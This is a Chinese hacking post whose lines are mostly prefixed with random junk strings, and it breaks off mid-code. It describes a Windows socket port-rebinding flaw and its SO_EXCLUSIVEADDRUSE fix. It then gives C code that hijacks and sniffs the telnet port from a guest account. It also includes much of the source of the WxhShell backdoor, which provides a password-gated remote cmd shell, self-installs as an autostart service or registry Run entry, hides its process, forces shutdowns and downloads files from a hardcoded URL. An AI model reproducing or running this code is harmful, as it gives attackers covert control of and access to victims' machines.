在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`<8~tS/. w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RN]4 Is: mH}/QfUlq saddr.sin_family = AF_INET;
j^"Z^TEBT nUz2~z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`)* \3hhM}6)DM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
H"tS3 3 q<>LK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=oV8!d%]
^GB9!d. 这意味着什么?意味着可以进行如下的攻击:
~2beVQ(U ~Wm`SIV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MP-A^QT `f}}z5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z%Op_Ddp 0e^j :~* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Hz`rw\\Xq M3Q#=yy$D$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DzkE*vR gz;( ).{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
eOt T* 5][Rvu0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
HIcx "y ;<1O86! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T?I&n[Y| R0(Nw7!d/[ #include
43W>4fsc #include
h6c8hp. #include
%qcBM~efT #include
9 %4Pt=v~d DWORD WINAPI ClientThread(LPVOID lpParam);
xAMj 16ZF int main()
wO@b=1j {
zO<EbqNe! WORD wVersionRequested;
&THM]3: DWORD ret;
g2l|NI#c^ WSADATA wsaData;
mDC{c ? BOOL val;
L01R.3Z+ SOCKADDR_IN saddr;
$g$~TuA
w SOCKADDR_IN scaddr;
.^N+'g int err;
KW+ps16~ SOCKET s;
wh
l)^D SOCKET sc;
l7Y^C1hM int caddsize;
wb2N$Ew= HANDLE mt;
o^wj_#ai$ DWORD tid;
ez%RWck wVersionRequested = MAKEWORD( 2, 2 );
'D#}ce)s# err = WSAStartup( wVersionRequested, &wsaData );
',n;ag`c if ( err != 0 ) {
-N(y+~wN printf("error!WSAStartup failed!\n");
)zlksF return -1;
@Ytsb!! }
zkYlIUD saddr.sin_family = AF_INET;
fw ._ pOS:/~I3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_j-k*: #dE#w#=r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3!`Pv ?|o saddr.sin_port = htons(23);
3M8P% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G5egyP; {
HUr;ysw printf("error!socket failed!\n");
4JKB6~Y return -1;
/xJ,nwp7 }
w~afQA> val = TRUE;
[4]lAxrRF //SO_REUSEADDR选项就是可以实现端口重绑定的
x~!B.4gT2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
g2^7PtJg {
m=Y9s B printf("error!setsockopt failed!\n");
LTG#nM0 return -1;
^*"&e\+p }
ePa:_?( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"zc@(OA[z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ag]b]K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\v44 Vmfz kXzm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#R4Mv(BG {
5Qd |R ret=GetLastError();
(l{+T# printf("error!bind failed!\n");
\xkLI:*\ return -1;
e'[T5HI }
^+oi|y listen(s,2);
A@bWlwfl while(1)
LO[1xE9 {
NoO>CjeFb caddsize = sizeof(scaddr);
W:O<9ZbQ_ //接受连接请求
d#Sc4xuf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
t1b$,jHmKl if(sc!=INVALID_SOCKET)
fO[X<|9 {
#x1AZwC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
BF<7.<, if(mt==NULL)
V2g,JFp& {
Ziuf<X{ printf("Thread Creat Failed!\n");
bxyEn'vNvQ break;
$^
(q0zR~l }
7J~6J.m }
7Ro7/PT( CloseHandle(mt);
-}%'I]R= }
Q-F'-@`(C closesocket(s);
I{<6GIU+ WSACleanup();
33J}AK^FE return 0;
'G>Ejh@t }
E"!9WF(2t5 DWORD WINAPI ClientThread(LPVOID lpParam)
Ky|Hi3? {
+cvz SOCKET ss = (SOCKET)lpParam;
%\_I%
yF SOCKET sc;
:{h,0w'd unsigned char buf[4096];
g-pDk*|I,Q SOCKADDR_IN saddr;
daaUC long num;
<]/`#Xgh DWORD val;
5IW^^<kiu DWORD ret;
YP>VC(f //如果是隐藏端口应用的话,可以在此处加一些判断
|.=Ee+HZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
daWmF saddr.sin_family = AF_INET;
MVjc.^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/4#.qq0\{c saddr.sin_port = htons(23);
TUJ]u2J8? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^c< <I-o| {
eM/|"^% printf("error!socket failed!\n");
H|0B*i@81 return -1;
|O\(<n S }
B5#a
4G. val = 100;
*`ehI_v : if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cmt3ceCb {
I
m_yY ret = GetLastError();
y
97QqQ^ return -1;
\>cZ= }
TMKemci if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cy)L%`(7 {
+hY/4Tx< ret = GetLastError();
U'" ; return -1;
2-o,4EfHVO }
1k2Ck if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4dMwJ"V {
Lr)h>j6\ printf("error!socket connect failed!\n");
5Ag]1k{ closesocket(sc);
$7TYix8= closesocket(ss);
.{7?Y;_( return -1;
?-#w [J'6 }
i.cSD%* while(1)
J2aA"BhdC" {
7Yk6C5C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GJ%It. //如果是嗅探内容的话,可以再此处进行内容分析和记录
n+zXt?{u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
q5lRc=.b[ num = recv(ss,buf,4096,0);
zZDG5_$n if(num>0)
YH':cze send(sc,buf,num,0);
+;Cq>1x, else if(num==0)
#%k5s?cP@ break;
s<:"rw` num = recv(sc,buf,4096,0);
:U?P~HI if(num>0)
H.Jcp|k[; send(ss,buf,num,0);
K W04 else if(num==0)
e6sL N break;
"~]9}KM}3W }
,"h$!k"$g closesocket(ss);
RF6(n8["MW closesocket(sc);
+]uy return 0 ;
9!2KpuWji }
w$Dp m.0( WgE~H)_% ]lz,?izMR ==========================================================
\VtCkb Oq+C<}eg 下边附上一个代码,,WXhSHELL
$23="Jcl p@cPm8L3 ==========================================================
y9W*/H{[` Oo7n_h1 #include "stdafx.h"
E_
mgYW*5 "ajZ&{Z #include <stdio.h>
!Toq~,a8? #include <string.h>
HD=WHT& #include <windows.h>
]~ec]Y #include <winsock2.h>
Ij=hmTl{P #include <winsvc.h>
tp 5]n`3rD #include <urlmon.h>
"<!|am( &]#D`u #pragma comment (lib, "Ws2_32.lib")
~0/=5 dC #pragma comment (lib, "urlmon.lib")
v`wPdb SvI #define MAX_USER 100 // 最大客户端连接数
OmU.9PDg- #define BUF_SOCK 200 // sock buffer
b?w4Nx# #define KEY_BUFF 255 // 输入 buffer
+pf 7 \BJnJk!% #define REBOOT 0 // 重启
nHZ 4):` #define SHUTDOWN 1 // 关机
Gc@ENE f I*ho@`U #define DEF_PORT 5000 // 监听端口
q/4PX m1+DeXR_g #define REG_LEN 16 // 注册表键长度
o
&Nr5S #define SVC_LEN 80 // NT服务名长度
bZ3CJ f&mE &=02.E@ // 从dll定义API
|W#^L`!G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
60`y= !?f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-O(.J'=8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1%1-j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C}+(L3Z ={z YcVI // wxhshell配置信息
?dxhe7m struct WSCFG {
/jS int ws_port; // 监听端口
56TUh_ char ws_passstr[REG_LEN]; // 口令
:UScbPG int ws_autoins; // 安装标记, 1=yes 0=no
CrqWlO char ws_regname[REG_LEN]; // 注册表键名
t3bN
PK^ char ws_svcname[REG_LEN]; // 服务名
Y9PG char ws_svcdisp[SVC_LEN]; // 服务显示名
-Tz/ZOJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
cT.1oaAM0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
T}4RlIZF int ws_downexe; // 下载执行标记, 1=yes 0=no
"I+wU`AIek char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\ u5%+GA-: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
IClnh1= 2+ 9">a@ };
!JrVh$K s q :ff // default Wxhshell configuration
JsiJ=zo< struct WSCFG wscfg={DEF_PORT,
E@[`y:P "xuhuanlingzhe",
Pb[wysy 1,
L
TO1LAac "Wxhshell",
^Z}INUv]7 "Wxhshell",
8[zP2L!- "WxhShell Service",
}0f[x ?V "Wrsky Windows CmdShell Service",
~Jq<FVK "Please Input Your Password: ",
Iy`Zh@"~ 1,
r0S"}<8O "
http://www.wrsky.com/wxhshell.exe",
f#mY44:,C "Wxhshell.exe"
!xa,[$w(^ };
WU}JArX9 9Y-s],2V // 消息定义模块
bh_i*DJ] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o1kLT@VCl char *msg_ws_prompt="\n\r? for help\n\r#>";
W~ DY-; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c
t,p?[Q char *msg_ws_ext="\n\rExit.";
2&5"m;< char *msg_ws_end="\n\rQuit.";
%] char *msg_ws_boot="\n\rReboot...";
Pm;"Y!S< char *msg_ws_poff="\n\rShutdown...";
qW7S<ouh char *msg_ws_down="\n\rSave to ";
Vh'H5v^ L6U[H#3( char *msg_ws_err="\n\rErr!";
f3*u_LO char *msg_ws_ok="\n\rOK!";
m qtl0P0 3QGg; char ExeFile[MAX_PATH];
}R.cqk\qa^ int nUser = 0;
})ss. HANDLE handles[MAX_USER];
9-)oA+$ int OsIsNt;
@\[&_DZ _RjM . SERVICE_STATUS serviceStatus;
hv7!x=?8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Po=)jkW b~v // 函数声明
dkRJ^~ int Install(void);
}U+gJkY2 int Uninstall(void);
[)9bR1wh int DownloadFile(char *sURL, SOCKET wsh);
K+Ehj(eF int Boot(int flag);
zD2Bhta y void HideProc(void);
f,PFvT$5e int GetOsVer(void);
`<+D<x)(3 int Wxhshell(SOCKET wsl);
1
!OQxY}f void TalkWithClient(void *cs);
;>|:I(l; int CmdShell(SOCKET sock);
o_os; int StartFromService(void);
tse(iX/D int StartWxhshell(LPSTR lpCmdLine);
fl+
[(x< Jp_{PR:& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h^34{pKDn VOID WINAPI NTServiceHandler( DWORD fdwControl );
^|as]x!sv /3rt]h" // 数据结构和表定义
g"xLS}Al SERVICE_TABLE_ENTRY DispatchTable[] =
`%F.]|Y0 {
0qZ{:}`3 {wscfg.ws_svcname, NTServiceMain},
]?mWnEi!z {NULL, NULL}
\wO)w@" };
fd*=`+P >RE&>T^8 // 自我安装
yIqsZJj int Install(void)
t`H^!
b {
b
3D:w{l char svExeFile[MAX_PATH];
(/Z~0hA[Q HKEY key;
6"eGd" strcpy(svExeFile,ExeFile);
T(7
8{A> o<@2zhuhrx // 如果是win9x系统,修改注册表设为自启动
6+m) if(!OsIsNt) {
H>-,1/IY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p !U#53 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O)&xT2'J RegCloseKey(key);
Yy>%dL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\f0I:%- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
duV|'ntr RegCloseKey(key);
tCtR(mG=A return 0;
7Dom[f }
C6CX{IA] }
Rm)vY}v }
:#I8Cf else {
J'^BxN& SM![ yC // 如果是NT以上系统,安装为系统服务
F)5QpDmqb
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#=Q/<r.~G if (schSCManager!=0)
QH9(l {
H>;km$b + SC_HANDLE schService = CreateService
9v0.] (
=5I1[p; schSCManager,
6DR@$fpt wscfg.ws_svcname,
|PDuvv!.f wscfg.ws_svcdisp,
hFj.d]S SERVICE_ALL_ACCESS,
j$&k;S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VH+^G)^) W SERVICE_AUTO_START,
*Rr,ii SERVICE_ERROR_NORMAL,
noh3mi svExeFile,
=EsKFt" NULL,
u|BD%5+J NULL,
"`C|;\w NULL,
w*#TS8
\ NULL,
A{mbL2AxwC NULL
$//18+T );
N, ;'oL+ if (schService!=0)
tN";o\!} {
2,q^O3F CloseServiceHandle(schService);
qPH]DabpI CloseServiceHandle(schSCManager);
)0fQ(3oOg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
peR=J7 strcat(svExeFile,wscfg.ws_svcname);
.Eh~$wm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k;;?3)! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
zUIh8cAoE RegCloseKey(key);
ZUAWSJ,s return 0;
&FkKnz4IZ }
n*@^c$&P }
/o+,
=7hY CloseServiceHandle(schSCManager);
_BtppQIWv }
{5^'u^E }
/$&~0pk a%*W^R9Ls return 1;
Qj[4gN?}= }
)'DFDrY !ssE >bDa // 自我卸载
RyIr_:&-~ int Uninstall(void)
h_*=_ 2|} {
V4/P HKEY key;
$axaI$bE #}:VZ2Z if(!OsIsNt) {
Wy)|-Q7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gC<\1AIu RegDeleteValue(key,wscfg.ws_regname);
V\!FD5% RegCloseKey(key);
s2b!Nib if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eem.lVVD RegDeleteValue(key,wscfg.ws_regname);
6"-LGK: RegCloseKey(key);
q6\z]8) return 0;
;9=9D{-4+ }
Qn[4 &nUD }
<4C`^p }
ogip#$A}3 else {
;T-i+_ W(~G^Xu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_+z@Qn?#6h if (schSCManager!=0)
*=~
9? {
jEit^5^5| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c c
,] if (schService!=0)
i3rvDch
{
w+2:eFi=/ if(DeleteService(schService)!=0) {
>~>=[M0 CloseServiceHandle(schService);
T>kJB.V:oQ CloseServiceHandle(schSCManager);
T7Lk4cU return 0;
}Jjq] lW }
#++MoW}'g CloseServiceHandle(schService);
k-b_
<Tbo| }
_GI [SzD CloseServiceHandle(schSCManager);
:9_K@f?n }
YPf&y"E&H }
0O!%NL[, xfos>|0N return 1;
,Y &Q, }
e_\4(4x <IK8Ucp // 从指定url下载文件
wgkh}b
int DownloadFile(char *sURL, SOCKET wsh)
]1abz: {
|+cyb<(V J HRESULT hr;
dH&N< char seps[]= "/";
76zi)f1f char *token;
N@?Fpmu/k char *file;
fVb&=%e char myURL[MAX_PATH];
Yt0
l'B%[u char myFILE[MAX_PATH];
qJ5Y}/r !_l W#feR strcpy(myURL,sURL);
c 6E@+xU token=strtok(myURL,seps);
!<((@*zU while(token!=NULL)
/_26D0}UuF {
G?'L1g[lc file=token;
Ct$e`H!; token=strtok(NULL,seps);
\W??`?Idh }
7!Ym~M= NrNbNFfo GetCurrentDirectory(MAX_PATH,myFILE);
HWVWl~FA strcat(myFILE, "\\");
i,<TaW*I strcat(myFILE, file);
L$i&>cF\_> send(wsh,myFILE,strlen(myFILE),0);
{xr4CDP send(wsh,"...",3,0);
i^Ep[3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
H5^'J`0\ if(hr==S_OK)
.OX.z~":y return 0;
sJw3o7@pg else
0)yvyQ5 return 1;
`<b 3e(A ?P0$n 7, }
vZhN%
DfY $-jj%x\} // 系统电源模块
<,HdX,5 int Boot(int flag)
wrac\. {
,]y)Dy HANDLE hToken;
6b6}HO TOKEN_PRIVILEGES tkp;
eaYQyMv@ ! Hdg
$, if(OsIsNt) {
R`!x<J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2}b1PMpZG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
A^bg*t, tkp.PrivilegeCount = 1;
8e[kE>tS._ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&r/a\t,8n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u"?cmg<.1 if(flag==REBOOT) {
=HQH;c" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
R1 hb- return 0;
A_CEpG] }
f|1y?w?I else {
N&-d8[~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y3mATw 3Wh return 0;
g$EjIHb }
Yvs9)g }
Jc-0.^]E} else {
R1&(VK{ if(flag==REBOOT) {
z X2BJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&t+03c8g! return 0;
w`CGDF\Oo }
t(\d;ybyx else {
]9l=geZd%; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5A>W;Q\4 return 0;
Y9'Bdm/ }
RI')iz? }
BYqDC<Fq Q*^zphT return 1;
y9=/kFPRm }
)67Kd] i(a2FKLy // win9x进程隐藏模块
y4/>3tz; void HideProc(void)
: N> 5{ {
dp&4G6Y<A V=H87^b HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:eo2t>zF-< if ( hKernel != NULL )
BikmAa {
|FS79Bv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
lo,?mj%M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{[m %1O1 FreeLibrary(hKernel);
@-NdgM< }
>Yl?i&3n smoz5~ return;
9mEC|(m*WK }
G)?VC^Q 2~<?E`+ // 获取操作系统版本
?>*i8* int GetOsVer(void)
<*i
' {
|dsd5Vdr OSVERSIONINFO winfo;
D^E1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K=;z&E=<c GetVersionEx(&winfo);
JpvE c!cli if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q0Y0Zt,h return 1;
iN %kF'&9 else
:D-My28' return 0;
O3bo3Cm$ }
;sE;l7 I0h/x5 // 客户端句柄模块
8`EzvEm int Wxhshell(SOCKET wsl)
f]tc$`vb {
T$U,rOB" SOCKET wsh;
:EJ+# struct sockaddr_in client;
@/@#,+ DWORD myID;
02g}}{be8 [8EzyB>fH while(nUser<MAX_USER)
aze}koNE {
h.gj4/g int nSize=sizeof(client);
C:\BvPoO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ftw\oGrS if(wsh==INVALID_SOCKET) return 1;
8%S5Fc#am \Bg;}\8X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
p&/}0eL y if(handles[nUser]==0)
ak 94"<p closesocket(wsh);
J+r\EN^9 else
MDGD*Qn~ nUser++;
?xu5/r< }
~mP#V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#]>Z4=]v P!q!+g return 0;
n@<+D`[.V }
]|ew!N$ar= {hr>m,O% // 关闭 socket
*^e06xc: void CloseIt(SOCKET wsh)
bq#*XCt# {
G9J+D?'hH closesocket(wsh);
l ?RsXC nUser--;
7t
&KKKV ExitThread(0);
=:OS"qD3l }
wiKUs0| D|lp3\`% // 客户端请求句柄
f-6-!
void TalkWithClient(void *cs)
b2]1Dfw {
W'WZ@!! j#mo Vq SOCKET wsh=(SOCKET)cs;
@(Q'J` char pwd[SVC_LEN];
k`ulDQu char cmd[KEY_BUFF];
{}!`v%z char chr[1];
C\#E1\d int i,j;
Rg@W0Bc) !lf'gW while (nUser < MAX_USER) {
S?TyC";! OE_;i}58 if(wscfg.ws_passstr) {
#Duz|F+% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=w&JDj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VA{2a7] //ZeroMemory(pwd,KEY_BUFF);
7` AQn], i=0;
fy&vo~4i; while(i<SVC_LEN) {
4mNg(w=NF uXD?s3Wv // 设置超时
`j+[JMr fd_set FdRead;
GddP)l{uCF struct timeval TimeOut;
8~Avg6, FD_ZERO(&FdRead);
hS(}<B{x! FD_SET(wsh,&FdRead);
V}de|= TimeOut.tv_sec=8;
p1^k4G TimeOut.tv_usec=0;
DLMM1
A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cF6eMml; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6XU1w UOh%"h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P,1[NW pwd
=chr[0]; 8&T6
if(chr[0]==0xd || chr[0]==0xa) { !\D[lh}rL
pwd=0; Npu#.)G
break; 0V:7pSC{P
} o1I8l7
i++; zg)-RCG
} Cbw@:+%J{
dG5p`N%
// 如果是非法用户,关闭 socket Z*,Nt6;e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @nIoYT='
} jpg$5jZ
MA9Oi(L)K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )8ub1,C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .v<Q-P\8/
4@|"1D3
while(1) { e6O +hC]:
A}K2"lQ#>,
ZeroMemory(cmd,KEY_BUFF); Hrz#S o\#
8#?jYhT7
// 自动支持客户端 telnet标准 +
Xc s<+b
j=0; zB,Vi-)vH
while(j<KEY_BUFF) { c& &^Do
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % Q| >t~
cmd[j]=chr[0]; =}SH*xi6
if(chr[0]==0xa || chr[0]==0xd) { w0`aW6t#
cmd[j]=0; 70sb{)
break; 0[ (Z48
} \J@i:J6x$1
j++; os<YfMM<:/
} >b6!*Lrhs
2@&|/O6_\h
// 下载文件 Q7<_>)e^
if(strstr(cmd,"http://")) { (f Gmjx
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4$HU=]b6Tf
if(DownloadFile(cmd,wsh)) =1/d>kke
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12W`7
else l'Oz-p.@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }@+3QHwYU
} n+ot. -
else { :[hZn/
cM'\u~m{
switch(cmd[0]) { A"yiXc-N~\
4V2}'/|[
// 帮助 D's Tv}P
case '?': { WAd5,RZ?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .?<M$38fv
break; U04TVQn`
} 8mrB_B5
// 安装 yJyovfJz.
case 'i': { 4Z'/dI`
if(Install()) %9^^X6yLM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @y"/hh_?
else *wvd[q h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H K]-QTEn
break; Z%rMX}
} #o>~@.S#:0
// 卸载 #8cpZ]#
case 'r': { MXVQ90
if(Uninstall()) \3WF-!xe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }jfOs(Q]
else 6}(;~/L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =sp5.-r
break; u!]g^r
} V:YN!
// 显示 wxhshell 所在路径 rAv)k&l
case 'p': { [WfigqY`b*
char svExeFile[MAX_PATH]; <6!;mb
;cX
strcpy(svExeFile,"\n\r"); Q+i
strcat(svExeFile,ExeFile); nfj8z@!
send(wsh,svExeFile,strlen(svExeFile),0); >e'Hz (~'/
break; 88]4GVi
} b{~64/YJ
// 重启 ?o>JX.Nl&7
case 'b': { .!oYIF*0zC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x>ZnQ6x~m]
if(Boot(REBOOT)) 2#i*'.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_&uYA<8pE
else { *wfb~&:}
closesocket(wsh); tCF,KP?
ExitThread(0); ]"wl*$N
} cFV)zFu
break; 1ZrJ7a7=
} :j<ij]rsI
// 关机 ji&%'h
case 'd': {
|/YwMBi
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }hm"49,O
if(Boot(SHUTDOWN)) *WQl#JAr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mw!EDJ;'
else { ,UveH` n-
closesocket(wsh); Z=I+_p_G
ExitThread(0); M^6!{c=MIi
} VoGyjGt&
break; j,Vir"-)
} vl"{ovoC
// 获取shell f|r+qe
case 's': { o4U[;.?c
CmdShell(wsh); myvn@OsEw
closesocket(wsh); E*W|>2nx]
ExitThread(0); o9JZ-biH
break; B/^1uPTZ71
} G@(ukt`0}
// 退出 Vz\?a8qQ<
case 'x': { 9*ek5vPB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gP^p7aYwn
CloseIt(wsh); g,O3\jjQ
break; 2@jlF!zC
} *?`<Ea
// 离开 S O#R5Mu2N
case 'q': { AnW72|=A(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5;:964Et
closesocket(wsh); |%tI!RN):
WSACleanup(); qJZ:\u8oO
exit(1); `*ml/% \
break; F<Y>
} }|-Yd"$
} R]xXG0
} :&-j{8p-
dFw>SYrpu
// 提示信息 wQR0R~|M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ){M)0,:
} (\A~SKEX
} Eq82?+9
UPr8Q^wm
return; dp=#|!jc
} yrCY-'%
YYi:d=0<SO
// shell模块句柄 bi<?m^j
int CmdShell(SOCKET sock) t$k$Hd';
{ ns}"[44C}l
STARTUPINFO si; .0ExHcr
ZeroMemory(&si,sizeof(si)); o8h1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w.9'TR
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; enw7?| (
PROCESS_INFORMATION ProcessInfo; V.H<KyaJ
char cmdline[]="cmd"; 8^U+P%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [KT1.5M[
return 0; 9?i~4&EY
} 0<4Swj3s7
)m4O7'2G
// 自身启动模式 p(`?y:.3
int StartFromService(void) mq!_/3
{ |j>fsk~
typedef struct "U6:z M
{ etD8S KD
DWORD ExitStatus; $9In\x
DWORD PebBaseAddress; @,%IVKg\
